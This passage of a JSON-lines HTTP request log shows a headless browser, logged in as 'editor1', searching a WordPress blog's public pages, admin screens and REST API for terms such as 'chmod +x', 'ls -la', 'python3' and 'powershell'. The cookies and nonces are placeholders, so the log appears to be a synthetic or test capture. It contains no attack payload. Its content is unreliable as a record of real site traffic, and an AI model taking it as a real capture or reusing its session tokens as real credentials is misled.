HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207385"], "body": ""} +{"method": "GET", "target": "/?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""} +{"method": "GET", "target": "/index.php?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=chmod+%2Bx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207390"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=chmod+%2Bx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=chmod+%2Bx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""} +{"method": "GET", "target": "/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""} +{"method": "GET", "target": "/index.php?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207397"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=ls+-la&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207398"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=ls+-la&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207399"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=python3&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=python3&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=powershell&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=powershell&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=sudo%20apt%20install%20nginx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=sudo%20apt%20install%20nginx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=chmod%20%2Bx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=chmod%20%2Bx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=ls%20-la&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?search=ls%20-la&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-login.php?loggedout=true&wp_lang=en_US", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""} +{"method": "GET", "target": "/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/page/2/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/page/2/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/index.php/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/index.php/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209938"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=hello&_wpnonce=c7d3be7361&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist%26attachment-filter%26s%3Dpython3%26action%3D-1%26affected%26_ajax_nonce%3Dac194defea%26ps&action=-1&affected=&_ajax_nonce=ac194defea&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=ac194defea&ps", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209922"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209923"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dls%2B-la%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209924"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209925"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=hello&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=0&_per_page=20&_page=1&paged=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php%3Fs%3Dpython3%26comment_status%3Dall%26pagegen_timestamp%3D2026-11-09%2B07%253A38%253A46%26_total%3D1%26_per_page%3D20%26_page%3D1%26_ajax_fetch_list_nonce%3D0b1db04b0a%26action%3D-1%26comment_type%26paged%3D1%26action2%3D-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 